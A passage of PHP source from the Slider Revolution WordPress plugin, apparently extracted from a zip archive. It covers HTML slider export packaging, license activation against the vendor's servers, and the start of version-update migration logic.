				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.ttf', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.ttf');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.woff', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.woff');
				
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/css/font-awesome.css', 'fonts/font-awesome/css/font-awesome.css');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/FontAwesome.otf', 'fonts/font-awesome/fonts/FontAwesome.otf');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.eot', 'fonts/font-awesome/fonts/fontawesome-webfont.eot');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.svg', 'fonts/font-awesome/fonts/fontawesome-webfont.svg');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.ttf', 'fonts/font-awesome/fonts/fontawesome-webfont.ttf');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff', 'fonts/font-awesome/fonts/fontawesome-webfont.woff');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff2', 'fonts/font-awesome/fonts/fontawesome-webfont.woff2');
				
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.eot', 'fonts/revicons/revicons.eot');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.svg', 'fonts/revicons/revicons.svg');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.ttf', 'fonts/revicons/revicons.ttf');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.woff', 'fonts/revicons/revicons.woff');
			}else{
				if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.main.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.actions.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.carousel.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.layeranimation.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.navigation.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.panzoom.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.parallax.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.slideanims.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					//$this->pclzip->add(RS_PLUGIN_PATH.'/public/assets/js/libs/three.min.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.video.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
				}else{
					$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
				}
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/rbtools.min.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/');
				
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/css/rs6.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/css/', PCLZIP_OPT_ADD_PATH, 'css/');
				
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/css/helper.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.eot', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.svg', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.ttf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.woff', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/css/font-awesome.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/FontAwesome.otf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.eot', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.svg', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.ttf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.eot', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.svg', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.ttf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
				$this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.woff', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/');
			}

			$this->slider_html = apply_filters('revslider_export_html_file_inclusion', $this->slider_html, $this);
			
			$notice_text = __('Using this data is only allowed with a valid licence of the jQuery Slider Revolution Plugin, which can be found at: https://www.themepunch.com/links/slider_revolution_jquery', 'revslider');
			
			if(!$this->usepcl){
				$this->zip->addFromString('NOTICE.txt', $notice_text); //add slider settings
			}else{
				$this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'NOTICE.txt', PCLZIP_ATT_FILE_CONTENT => $notice_text)));
			}
			
		}
	}
	
	
	/**
	 * Add the export HTML file to the zip file
	 **/
	public function add_export_html_to_zip(){
		if(!$this->usepcl){
			$this->zip->addFromString('slider.html', $this->slider_html); //add slider settings
			$this->zip->close();
		}else{
			$this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'slider.html', PCLZIP_ATT_FILE_CONTENT => $this->slider_html)));
		}
	}
	
	
	/**
	 * create the Font HTML needed for the HTML Export
	 * this will also remove the part out of the slider markup
	 **/
	public function create_font_html(){
		$fonts = '';
		while(strpos($this->slider_html, '<!-- FONT -->') !== false){
			$fonts		.= substr($this->slider_html, strpos($this->slider_html, '<!-- FONT -->'), strpos($this->slider_html, '<!-- /FONT -->') + 14 - strpos($this->slider_html, '<!-- FONT -->'))."\n";
			$starthtml	 = substr($this->slider_html, 0, strpos($this->slider_html, '<!-- FONT -->'));
			$endhtml	 = substr($this->slider_html, strpos($this->slider_html, '<!-- /FONT -->') + 14);
			
			$this->slider_html = $starthtml.$endhtml; //remove from html markup
		}
		$fonts = str_replace(array('<!-- FONT -->', '<!-- /FONT -->'), '', $fonts); //remove the tags
		$fonts = str_replace('/>','/>'."\n", $fonts);
		
		$this->export_font = $fonts;
	}
	
	
	/**
	 * create the Scripts HTML needed for the HTML Export
	 * this will also remove the part out of the slider markup
	 **/
	public function create_script_html(){
		$scripts = '';
		while(strpos($this->slider_html, '<!-- SCRIPT -->') !== false){
			$scripts	.= substr($this->slider_html, strpos($this->slider_html, '<!-- SCRIPT -->'), strpos($this->slider_html, '<!-- /SCRIPT -->') + 16 - strpos($this->slider_html, '<!-- SCRIPT -->'))."\n";;
			$starthtml	 = substr($this->slider_html, 0, strpos($this->slider_html, '<!-- SCRIPT -->'));
			$endhtml	 = substr($this->slider_html, strpos($this->slider_html, '<!-- /SCRIPT -->') + 16);
			
			$this->slider_html = $starthtml.$endhtml; //remove from html markup
		}
		
		$this->export_scripts = str_replace(array('<!-- SCRIPT -->', '<!-- /SCRIPT -->'), '', $scripts); //remove the tags
	}
	
	
	/**
	 * create the Styles HTML needed for the HTML Export
	 * this will also remove the part out of the slider markup
	 **/
	public function create_style_html(){
		$styles = '';
		while(strpos($this->slider_html, '<!-- STYLE -->') !== false){
			$styles		.= substr($this->slider_html, strpos($this->slider_html, '<!-- STYLE -->'), strpos($this->slider_html, '<!-- /STYLE -->') + 15 - strpos($this->slider_html, '<!-- STYLE -->'))."\n";
			$starthtml	 = substr($this->slider_html, 0, strpos($this->slider_html, '<!-- STYLE -->'));
			$endhtml	 = substr($this->slider_html, strpos($this->slider_html, '<!-- /STYLE -->') + 15);
			
			$this->slider_html = $starthtml.$endhtml; //remove from html markup
		}
		
		$this->export_styles = str_replace(array('<!-- STYLE -->', '<!-- /STYLE -->'), '', $styles); //remove the tags
	}
	
	
	/**
	 * create Header HTML for HTML export
	 **/
	public function write_header_html(){
		?><!DOCTYPE html>
		<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
		<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
		<!--[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->
		<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->

		<head>
			<meta charset="utf-8">
			<meta http-equiv="X-UA-Compatible" content="IE=edge">
			<title><?php echo $this->slider_title; ?> - Slider Revolution</title>
			<meta name="description" content="Slider Revolution Example" />
			<meta name="keywords" content="fullscreen image, grid layout, flexbox grid, transition" />
			<meta name="author" content="ThemePunch" />
			<meta name="viewport" content="width=device-width, initial-scale=1">

			<!-- LOAD JQUERY LIBRARY -->
			<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.js"></script>
			
			<!-- LOADING FONTS AND ICONS -->
			<?php echo $this->export_font; ?>
			
			<link rel="stylesheet" type="text/css" href="<?php echo $this->path_fonts; ?>pe-icon-7-stroke/css/pe-icon-7-stroke.css">
			<link rel="stylesheet" type="text/css" href="<?php echo $this->path_fonts; ?>font-awesome/css/font-awesome.css">
			
			<!-- REVOLUTION STYLE SHEETS -->
			<link rel="stylesheet" type="text/css" href="<?php echo $this->path_css; ?>rs6.css">
			<!-- REVOLUTION LAYERS STYLES -->
			<?php 
			if($this->export_real){ 
				echo $this->export_styles;
			
				$static_css = $this->get_static_css();
				
				if($static_css !== ''){
					$css = RevSliderGlobals::instance()->get('RevSliderCssParser');
					echo '<style type="text/css">';
					echo $css->compress_css($static_css);
					echo '</style>'."\n";
				}
			}else{
				?>
				<link rel="stylesheet" type="text/css" href="<?php echo $this->path_css; ?>layers.css">
				
				<!-- REVOLUTION NAVIGATION STYLES -->
				<link rel="stylesheet" type="text/css" href="<?php echo $this->path_css; ?>navigation.css">
				
				<!-- FONT AND STYLE FOR BASIC DOCUMENTS, NO NEED FOR FURTHER USAGE IN YOUR PROJECTS-->
				<link href="http://fonts.googleapis.com/css?family=Roboto%3A700%2C300" rel="stylesheet" property="stylesheet" type="text/css" media="all" />
				<link rel="stylesheet" type="text/css" href="../../assets/css/noneed.css">
				<?php
			}
			?>
			<!-- REVOLUTION JS FILES -->
			<?php
			RevSliderFront::add_waiting_script();
			?>
			<script type="text/javascript" src="<?php echo $this->path_js; ?>rbtools.min.js"></script>
			<?php
			if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){
				?>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.main.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.actions.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.carousel.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.layeranimation.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.navigation.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.panzoom.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.parallax.js"></script>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.slideanims.js"></script>
				<!--script type="text/javascript" src="<?php echo $this->path_js; ?>three.min.js"></script-->
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.video.js"></script>
				<?php
			}else{
				?>
				<script type="text/javascript" src="<?php echo $this->path_js; ?>rs6.min.js"></script>
				<?php
			}
			?>
			
			<?php echo RevSliderFront::js_set_start_size(); ?>

			<?php do_action('revslider_export_html_write_header', $this); ?>

		</head>
		
		<body>
		<?php
	}
	
	
	/**
	 * create Body HTML for HTML export
	 **/
	public function write_body_html(){
		if(!$this->export_real){ ?>
			<!-- HEADER -->
			<article class="content">
				<!-- Add your site or application content here -->
				<section class="header">
					<span class="logo" style="float:left"></span>
					<a class="button" style="float:right" target="_blank" rel="noopener" href="https://www.themepunch.com/revsliderjquery-doc/slider-revolution-jquery-5-x-documentation/"><i class="pe-7s-help2"></i>Online Documentation</a>
					<div class="clearfix"></div>
				</section>
			</article>
			
			<?php
			if($this->layouttype != 'fullscreen'){
			?>
			<article class="small-history"> 
				<h2 class="textaligncenter" style="margin-bottom:25px;">Your Slider Revolution jQuery Plugin</h2>
				<p>Slider Revolution is an innovative, responsive Slider Plugin that displays your content the beautiful way. Whether it's a <strong>Slider, Carousel, Hero Scene</strong> or even a whole <strong>Front Page</strong>.<br>The <a href="https://www.themepunch.com/links/slider_revolution_jquery_visual_editor" target="_blank" rel="noopener">visual drag &amp; drop editor</a> will help you to create your Sliders and tell your own stories in no time!</p>
			</article>
			<?php
			}
			?>
			<!-- SLIDER EXAMPLE -->
			<section class="example">
				<article class="content">
				<?php
		}
			
		if(!$this->export_real){ ?>
				</article>
			</section>
			<div class="bottom-history-wrap" style="margin-top:150px">
			<?php		
			if($this->layouttype == 'fullscreen'){
			?>
			<article class="small-history bottom-history" style="background:#f5f7f9;"> 
				<h2 class="textaligncenter" style="margin-bottom:25px;">Your Slider Revolution jQuery Plugin</h2>
				<p>Slider Revolution is an innovative, responsive Slider Plugin that displays your content the beautiful way. Whether it's a <strong>Slider, Carousel, Hero Scene</strong> or even a whole <strong>Front Page</strong>.<br>The <a href="https://www.themepunch.com/links/slider_revolution_jquery_visual_editor" target="_blank" rel="noopener">visual drag &amp; drop editor</a> will help you to create your Sliders and tell your own stories in no time!</p>
			</article>
				<?php
			}
			?>
			
			<article class="small-history bottom-history">
				<i class="fa-icon-question tp-headicon"></i>
				<h2 class="textaligncenter" style="margin-bottom:25px;">Find the Documentation ?</h2>
				<p>We would always recommend to use our<a target="_blank" rel="noopener" href="https://www.themepunch.com/revsliderjquery-doc/slider-revolution-jquery-5-x-documentation/"> online documentation</a> however you can find also our embeded local documentation zipped in the Documentation folder. Online Documentation and FAQ Page is regulary updated. You will find More examples, Visit us also at <a href="http://themepunch.com">http://themepunch.com</a> ! </p>
				<div class="tp-smallinfo">Learn how to build your Slider!</div>
			</article>

			<article class="small-history bottom-history" style="background:#f5f7f9;">
				<i class="fa-icon-arrows tp-headicon"></i>
				<h2 class="textaligncenter" style="margin-bottom:25px;">Navigation Examples !</h2>
				<p>You find many Examples for All Skins and Positions of Navigation examples in the <a target="_blank" rel="noopener" href="file:../Navigation">examples/Navigation folder</a>. Based on these prepared examples you can build your own navigation skins. Feel free to copy and paste the markups after your requests in your own documents.</p>
				<div class="tp-smallinfo">Customize the interaction with your visitor!</div>
			</article>

			<article class="small-history bottom-history">
				<i class="fa-icon-cog tp-headicon"></i>
				<h2 class="textaligncenter" style="margin-bottom:25px;">Layer and Slide Transitions</h2>
				<p>We prepared a small List of Transition and a light weight Markup Builder in the <a target="_blank" rel="noopener" href="file:../Transitions"> examples/Transitions folder</a>. This will help you to get an overview how the Slider and Layer Transitions works. Copy the Markups of the generated Slide and Layer Animation Examples and paste it into your own Documents.</p>
				<div class="tp-smallinfo">Eye Catching Effects!</div>

			</article>
		</div>
		<div class="clearfix"></div>
			<?php
		}
	}
	
	
	/**
	 * create Footer HTML for HTML export
	 **/
	public function write_footer_html(){
		global $rs_css_collection;
		if(!empty($rs_css_collection)){
			$custom_css = implode("\n".RS_T2, $rs_css_collection);
			$css = RevSliderGlobals::instance()->get('RevSliderCssParser');
			echo '<style type="text/css">';
			echo $css->compress_css($custom_css);
			echo '</style>'."\n";
		}

		do_action('revslider_export_html_write_footer', $this);
		?>
		</body>
		<?php
		if(!$this->export_real){
			?>
			<footer>
				<div class="footer_inner">
					<div class="footerwidget">
						<h3>Slider Revolution</h3>
						<a href="https://revolution.themepunch.com/jquery/#features" target="_self">Features</a>
						<a href="https://revolution.themepunch.com/examples-jquery/" target="_self">Usage Examples</a>
						<a href="https://www.themepunch.com/revsliderjquery-doc/slider-revolution-jquery-5-x-documentation/" target="_blank" rel="noopener">Online Documentation</a>
					</div>
					<div class="footerwidget">
						<h3>Resources</h3>
						<a href="https://www.themepunch.com/support-center/" target="_blank" rel="noopener">FAQ Database</a>
						<a href="https://themepunch.com" target="_blank" rel="noopener">ThemePunch.com</a>
						<a href="https://themepunch.us9.list-manage.com/subscribe?u=a5738148e5ec630766e28de16&amp;id=3e718acc63" target="_blank" rel="noopener">Newsletter</a>
						<a href="https://www.themepunch.com/products/" target="_blank" rel="noopener">Plugins</a>
						<a href="https://www.themepunch.com/products/" target="_blank" rel="noopener">Themes</a>
					</div>
					<div class="footerwidget">
						<h3>More Versions</h3>
						<a href="https://revolution.themepunch.com" target="_blank" rel="noopener">WordPress</a>
						<a href="https://www.themepunch.com/links/slider_revolution_prestashop" target="_blank" rel="noopener">Prestashop</a>
						<a href="https://www.themepunch.com/links/slider_revolution_magento" target="_blank" rel="noopener">Magento</a>
						<a href="https://www.themepunch.com/links/slider_revolution_opencart" target="_blank" rel="noopener">OpenCart</a>
					</div>
					<div class="footerwidget social">
						<h3>Follow Us</h3>
						<ul>
							<li><a href="https://www.facebook.com/wordpress.slider.revolution" target="_blank" rel="noopener" class="so_facebook" data-rel="tooltip" data-animation="false" data-placement="bottom" data-original-title="Facebook"><i class="s_icon fa-icon-facebook "></i></a>
							</li>
							<li><a href="https://twitter.com/revslider" target="_blank" rel="noopener" class="so_twitter" data-rel="tooltip" data-animation="false" data-placement="bottom" data-original-title="Twitter"><i class="s_icon fa-icon-twitter"></i></a>
							</li>
						</ul>
					</div>
					<div class="clearfix"></div>
				</div>
			</footer>
			<script type="text/javascript" src="../../assets/warning.js"></script>
			<?php
		}
		?>
		</html>
		<?php
	}
}PK�y3\u�.includes/license.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2020 ThemePunch
 * @since	  6.2.0
 */

if(!defined('ABSPATH')) exit();

class RevSliderLicense extends RevSliderFunctions {
	/**
	 * Activate the Plugin through the ThemePunch Servers
	 * @before 6.0.0: RevSliderOperations::checkPurchaseVerification();
	 * @before 6.2.0: RevSliderAdmin::activate_plugin();
	 **/
	public function activate_plugin($code){
		$rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer');
		$data = array('code' => urlencode($code), 'version'	=> urlencode(RS_REVISION), 'product' => urlencode(RS_PLUGIN_SLUG));
		
		$response	  = $rslb->call_url('activate.php', $data, 'updates');
		$version_info = wp_remote_retrieve_body($response);
		
		if(is_wp_error($version_info)) return false;
		
		if($version_info == 'valid'){
			update_option('revslider-valid', 'true');
			update_option('revslider-code', $code);
			update_option('revslider-trustpilot', 'true');
			update_option('revslider-deregister-popup', 'false');

			return true;
		}elseif($version_info == 'exist'){
			return 'exist';
		}elseif($version_info == 'banned'){
			return 'banned';
		}
		
		return false;
	}
	
	
	/**
	 * Deactivate the Plugin through the ThemePunch Servers
	 * @before 6.0.0: RevSliderOperations::doPurchaseDeactivation();
	 * @before 6.2.0: RevSliderAdmin::deactivate_plugin();
	 **/
	public function deactivate_plugin(){
		$rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer');
		$code = get_option('revslider-code', '');
		$data = array('code' => urlencode($code), 'product' => urlencode(RS_PLUGIN_SLUG));
		
		$res = $rslb->call_url('deactivate.php', $data, 'updates');
		$vi	 = wp_remote_retrieve_body($res);
		
		if(is_wp_error($vi)) return false;

		if($vi == 'valid'){
			update_option('revslider-valid', 'false');
			update_option('revslider-code', '');
			update_option('revslider-trustpilot', 'false');
			update_option('revslider-deregister-popup', 'true');

			return true;
		}
		
		return false;
	}
}PK�y3\�}�9�� includes/plugin-update.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderPluginUpdate extends RevSliderFunctions {

	public $revision;
	public $upgrade_layer_type = false; //holds the type of the layer, for the _compare function to
	public $add_to_transition_speed = array('slotslide-horizontal' => 200, 'slotslide-vertical' => 200, 'slotzoom-horizontal' => 400, 'slotfade-horizontal' => 1000, 'slotfade-vertical' => 1000, 'fade' => 300, 'crossfade' => 300, 'fadethroughdark' => 300, 'fadethroughlight' => 300, 'fadethroughtransparent' => 300, 'papercut' => 600, '3dcurtain-horizontal' => 100, '3dcurtain-vertical' => 100, 'cubic' => 600, 'cube' => 600, 'flyin' => 600, 'turnoff' => 500, 'incube' => 200, 'cubic-horizontal' => 500, 'cube-horizontal' => 500, 'incube-horizontal' => 500, 'turnoff-vertical' => 200, 'grayscale' => 300, 'grayscalecross' => 300, 'brightness' => 300, 'brightnesscross' => 300, 'blurlight' => 300, 'blurlightcross' => 300, 'blurstrong' => 300, 'blurstrongcross' => 300);
	public $_respsizesold	= array('desktop', 'notebook', 'tablet', 'mobile');
	public $_respsizes		= array('d', 'n', 't', 'm');
	public $_corners		= array('cornerLeft' => array('nothing' => 'none', 'curved' => 'rs-fcr', 'reverced' => 'rs-fcrt'), 'cornerRight' => array('nothing' => 'none', 'curved' => 'rs-bcr', 'reverced' => 'rs-bcrt'));
	public $_metas			= array('home_url', 'current_page_link', 'link', 'title', 'excerpt', 'alias', 'content', 'link', 'date', 'date_modified', 'author_name', 'author_posts', 'author_website', 'num_comments', 'catlist', 'catlist_raw', 'taglist', 'id', 'wc_full_price', 'wc_price', 'wc_price_no_cur', 'wc_stock', 'wc_rating', 'wc_star_rating', 'wc_categories', 'wc_add_to_cart', 'wc_add_to_cart_button', 'wc_sku', 'wc_stock_quantity', 'wc_rating_count', 'wc_review_count', 'wc_tags', 'link', 'title', 'excerpt', 'description', 'alias', 'content', 'link', 'date_published', 'date_modified', 'author_name', 'num_comments', 'catlist', 'catlist_raw', 'taglist', 'likes', 'retweet_count', 'favorite_count', 'views', 't_days', 't_hours', 't_minutes', 't_seconds', 'event_start_date', 'event_end_date', 'event_start_tim', 'event_end_time', 'event_event_id', 'event_location_name', 'event_location_slug', 'event_location_address', 'event_location_town', 'event_location_state', 'event_location_postcode', 'event_location_region', 'event_location_country', 'param1', 'param2', 'param3', 'param4', 'param5', 'param6', 'param7', 'param8', 'param9', 'param10', '/%meta:\w+%/', '/%content:\w+[\:]\w+%/', '/%author_avatar:\w+%/', '/%image_url_\w+%/', '/%image_\w+%/', '/%featured_image_url_\w+%/', '/%featured_image_\w+%/');
	public $z_index			= 5;
	public $navtypes		= array('arrows', 'thumbs', 'bullets', 'tabs');
	public $blank_slide		= false; //holds a blank slide to remove unneeded values in slides as a compare
	public $blank_layer		= array(); //holds a blank layer to remove unneeded values in layers as a compare, as more than one type of layer exists, it fills with keys as the type
	public $current_parent	= false; //holds the parent key for the compare function, which allows for deeper checks to remove/not remove keys depending on where in the tree we are
	public $css_navigations	= array(); //holds css navigations
	public $googlefonts		= array(); //holds googlefonts
	public $upd_animations	= array(); //holds animations
	
	/**
	 * for update to 6.0 added.
	 * These 4 are set by each Slider and depending on their setting.
	 * the layer effects are set to true/false
	 **/
	public $on_layers			= false;
	public $on_static_layers	= false;
	public $on_parallax_layers	= false;
	public $on_parallax_static_layers = false;
	public $on_counter			= 0;
	public $static_slide		= false;
	public $parallax_slider		= false;
	
	/**
	 * for update to 6.0
	 * it holds all layers that are triggered in an action
	 **/
	public $slide_action_map = array();
	
	/**
	 * holds variables needed for certain updates
	 * @since: 6.2.0
	 **/
	public $update = array(
		/**
		 * for update to 6.2.0
		 * it holds all easing names that need to be replaced whereever easings are used
		 **/
		'620' => array(
			'ease_replace_adv'	=> array('Power0' => 'power0', 'Power1' => 'power1', 'Power2' => 'power2', 'Power3' => 'power3', 'Power4' => 'power4', 'Back' => 'back', 'Bounce' => 'bounce', 'Circ' => 'circ', 'Elastic' => 'elastic', 'Expo' => 'expo', 'Sine' => 'sine'),
			'ease_adv_modifier' => array('easeIn' => 'in', 'easeOut' => 'out', 'easeInOut' => 'inOut'),
			'ease_adv_from' => array('Linear.easeNone', 'SlowMo.ease'),
			'ease_adv_to' => array('none', 'slow')
		)
	);
	
	/**
	 * @since 5.0
	 */
	public function __construct(){
		$this->revision = get_option('revslider_update_version', '6.0.0');
		
		foreach($this->update['620']['ease_replace_adv'] as $a_f => $a_t){
			foreach($this->update['620']['ease_adv_modifier'] as $a_m_f => $a_m_t){
				$this->update['620']['ease_adv_from'][] = $a_f.'.'.$a_m_f;
				$this->update['620']['ease_adv_to'][]	= $a_t.'.'.$a_m_t;
			}
		}
	}

	public function init_animations(){
		if(empty($this->upd_animations)){
			$this->upd_animations = $this->get_layer_animations();
		}
	}

	public function init_googlefonts(){
		if(empty($this->googlefonts)){
			//direct inclusion for direct searching of google font
			include(RS_PLUGIN_PATH.'includes/googlefonts.php');
			$this->googlefonts = $googlefonts;
		}
	}

	/**
	 * return version of installation
	 * @since 5.0
	 */
	public function get_version(){
		$real_version = get_option('revslider_update_version', 1.0);

		return $real_version;
	}

	/**
	 * set version of installation
	 * @since 5.0
	 */
	public function set_version($set_to){

		update_option('revslider_update_version', $set_to);

	}

	/**
	 * check for updates and proceed if needed
	 * @since 5.0
	 */
	public static function do_update_checks(){
		$upd = new RevSliderPluginUpdate();
		$version = $upd->get_version();

		if(version_compare($version, 5.0, '<')){
			$upd->update_css_styles(); //update styles to the new 5.0 way
			$upd->add_v5_styles(); //add the version 5 styles that are new!
			$upd->check_settings_table(); //remove the usage of the settings table
			$upd->move_template_slider(); //move template sliders slides to the post based sliders and delete them/move them if not used
			$upd->add_animation_settings_to_layer(); //set missing animation fields to the slides layers
			$upd->add_style_settings_to_layer(); //set missing styling fields to the slides layers
			$upd->change_settings_on_layers(); //change settings on layers, for example, add the new structure of actions
			$upd->add_general_settings(); //set general settings
			$upd->translate_navigation_to_v5(); //set the navigation from v4.** to v5

			$upd->remove_static_slides(); //remove static slides if the slider was v4 and had static slides which were not enabled

			$version = 5.0;
			$upd->set_version($version);
		}

		if(version_compare($version, '5.0.7', '<')){
			$version = '5.0.7';

			$upd->change_general_settings_5_0_7();
			$upd->set_version($version);
		}

		if(version_compare($version, '5.1.1', '<')){
			$version = '5.1.1';

